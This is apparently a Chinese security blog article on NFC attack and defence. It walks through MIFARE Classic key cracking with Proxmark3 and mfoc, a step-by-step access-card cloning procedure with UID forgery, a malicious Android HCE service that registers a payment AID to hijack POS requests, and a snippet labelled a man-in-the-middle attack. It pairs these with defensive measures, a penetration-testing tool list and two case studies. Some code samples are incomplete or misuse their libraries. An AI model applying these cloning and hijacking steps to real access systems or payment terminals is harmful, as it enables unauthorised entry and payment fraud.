1. NFC技术安全架构
核心通信模式:
-
读卡器模式:主动扫描NFC标签(如手机支付)
-
卡模拟模式:模拟成被动标签(如交通卡)
-
P2P模式:设备间直接通信(如Android Beam)
协议栈风险点:
-
MIFARE Classic:弱加密(Crypto-1算法已被破解)
-
ISO 14443-4:中间人攻击可行
-
HCE(主机卡模拟):Android应用层漏洞
2. 攻击类型与复现
(1) MIFARE Classic破解
工具链:
# 使用Proxmark3进行全加密破解
proxmark3> hf mf chk *1 ? ? # 密钥爆破
proxmark3> hf mf dump # 数据导出
防御方案:升级至MIFARE Plus/Desfire EV1
(2) NFC中间人攻击(PRNG预测)
# 使用libnfc进行通信劫持
import nfc
clf = nfc.ContactlessFrontend('usb')
tag = clf.connect(rdwr={'on-connect': lambda tag: False})
clf.send_apdu(0xFF, 0xCA, 0x00, 0x00, 0x00) # 获取UID
(3) Android HCE漏洞利用
攻击场景:
-
恶意APP注册相同AID(应用ID)
-
劫持POS机支付请求
// 恶意HCE服务注册
<service android:name=".MaliciousHostService">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
3. 物理门禁克隆实战
攻击步骤:
-
信息采集:使用ACR122U读取原始卡数据
nfc-list # 检测卡片类型
mfoc -O original_dump.bin # 破解加密扇区
数据篡改:修改UID和权限位
with open('original_dump.bin', 'rb+') as f:
f.seek(0)
f.write(b'\x08\x19\x87\x54') # 伪造UID
卡片写入:使用空白CUID卡克隆
nfc-mfclassic W a original_dump.bin modified_dump.bin
4. 企业级防御方案
(1) 硬件层防护
方案 | 实施方法 |
---|---|
动态密钥 | 使用MIFARE DESFire EV3(每交易更换密钥) |
物理屏蔽 | 法拉第笼防护(防无线嗅探) |
多因素认证 | NFC+指纹/PIN码 |
(2) 系统层检测
// Android HCE安全校验
@Override
public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
if (!Arrays.equals(apdu, EXPECTED_APDU_HEADER)) {
Log.w("SECURITY", "可疑APDU指令");
return ERROR_CMD;
}
}
(3) 安全开发规范
-
禁用NDEF标签的自动执行功能
-
对敏感NFC数据签名(ECDSA-P256)
5. 渗透测试工具包
工具 | 用途 | 价格 |
---|---|---|
Proxmark3 RDV4 | 专业级RFID分析 | $300-$500 |
ACR122U | 入门级读卡器 | $80-$120 |
Flipper Zero | 多功能安全工具 | $169 |
ChameleonMini | 可编程模拟设备 | $200 |
6. 真实世界案例
案例1:某大学门禁系统克隆
-
漏洞点:使用固定密钥的MIFARE Classic卡
-
攻击工具:Proxmark3 + 空白CUID卡
-
结果:任意宿舍楼进出权限获取
案例2:移动支付中间人攻击
-
漏洞点:Android HCE服务未验证AID独占性
-
利用方式:注册相同AID的恶意服务
-
影响:支付金额被篡改
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容